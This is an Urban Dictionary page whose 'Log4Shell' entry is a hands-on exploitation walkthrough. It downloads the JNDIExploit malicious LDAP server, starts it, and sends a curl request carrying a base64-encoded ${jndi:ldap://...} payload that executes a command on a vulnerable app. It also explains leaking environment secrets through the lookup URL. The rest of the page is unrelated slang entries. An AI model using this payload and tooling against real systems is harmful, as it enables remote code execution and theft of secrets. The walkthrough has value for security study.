Skip to main content

Log4Shell 

The Java Naming and Directory Interface (JNDI) allows for lookup of Java objects at program runtime given a path to their data. JNDI can leverage several directory interfaces, each providing a different scheme of looking up files. Among these interfaces is the Lightweight Directory Access Protocol (LDAP), a non-Java-specific protocol which retrieves the object data as a URL from an appropriate server, either local or anywhere on the Internet.

In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form ${prefix:name}. For example, Text: ${java:version} might be converted to Text: Java version 1.7.0_67. Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker's server. Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP).
To execute commands with Log4Shell, I’ll be spinning up an LDAP server with the capabilities to exploit JNDI injection attacks written by feihong-cs. Run the following to download the malicious LDAP server:

cd /tmp
wget --quiet github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zipunzip JNDIExploit.v1.2.zip

With the ZIP archive decompressed, we can retrieve the programs help menu with the following command:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -h

To start the malicious LDAP server on localhost:1389 (there will also be an HTTP server spun up on port 9001. Looking at the source code tells me that this is where the actual malicious Java class is being loaded from), run the following command:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -p 9001

And finally, to obtain our reverse shell, let’s base64 encode a echo command to write some data into a file in the /tmp folder (make sure to get rid of the + sign by adding extra spaces as needed):

echo -n 'echo "you have been pwned" > /tmp/note.txt' | base64 -w 0

And then make the following request to the vulnerable application:

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/ZWNobyAieW91IGhhdmUgYmVlbiBwd25lZCIgPiAvdG1wL25vdGUudHh0}'

We can then confirm that the command was executed by going into the container with docker exec -it log4shell-app sh and then confirm that the file note.txt was created in the /tmp folder:
Log4Shell by Bad C dev December 15, 2021
Urban Dictionary Merch
Your favorite words on things you can wear, drink from, read, or give to a friend.
The Urban Dictionary Store sells gifts you’ll have to explain.

loishell 

She is a funny smart kind clumsy girl but she is loveable and mean sometimes crazy .Ameera
Hi I want a loishell.
loishell by Ameerakm1 September 4, 2017
Related Words
More from Urban Dictionary
A seemingly endless debate with a idiot
I don't know man im not ready for yap trap stupidity today which always tries to suck you into it
Yap Trap by WolfieSnack November 4, 2026
Word of the Day on November 5, 2026
Texas is categorized as a swing state in presidential elections, but has voted for Republicans more times than for Democrats in recent history. As such, as demographics change political alignments, some Democrats believe that Texas will vote blue, or Democratic, due to their Hispanic and African American voters, who often align themselves with the Democratic Party's liberal wing.

Blexas has been cited as possible in the upcoming decades, but only if Democrats continue to win the Hispanic vote in bigger margins.
Democrat 1: What is your prediction for the 2024 presidential election?
Democrat 2: Well uh, Blexas!
Democrat 1: You've been saying that since 2008 though.
Blexas by Tritonist June 14, 2021
Word of the Day on November 4, 2026

briefcake 

"Did you check out the briefcake in courtroom C?"
briefcake by Ben Frey April 6, 2006
Word of the Day on November 3, 2026
Brought to public attention by Bob Woodward and Carl Bernstein in the book on the fall of Richard Nixon, All The President’s Men, ratfucker was Nixon’s term for a political operative who sows chaos among opponents; an agent provocateur. It is thought to have originated among campus political rivalries at USC, and seems to have some usage in the US military.
Along with Nixon’s other ratfuckers, Roger Stone caused fights at otherwise peaceful Democratic Party protests to generate a false narrative that the Democrats were violent and dangerous.
Ratfucker by Ricky Ramjet November 2, 2017
Word of the Day on November 2, 2026

countrypolitan 

Term used to describe someone who is a mix of both rural (country) and urban (metropolitan) lifestyles/upbringings. He/she is typically equally comfortable in both settings and is able to seamlessly slip back and forth between the two, appreciating the characteristics of each.
That ol' gal of mine drives the 12 lane freeway during the week and a John Deere on the weekends. She likes opra and the Grand Ol' Opry. I love them countrypolitan women.
countrypolitan by MOChick November 7, 2006
Word of the Day on November 1, 2026

Witch Bath 

A bath consisting of a variety of slats, oils, soaps or any other added ingredients such as fruits, milks, herbs or any other spices for health or beautifying benifits.
She brought home alot of stuff and took it to the bathroom. She must be taking a witch bath.
Witch Bath by carnieboy30 October 26, 2020
Word of the Day on October 31, 2026
Load more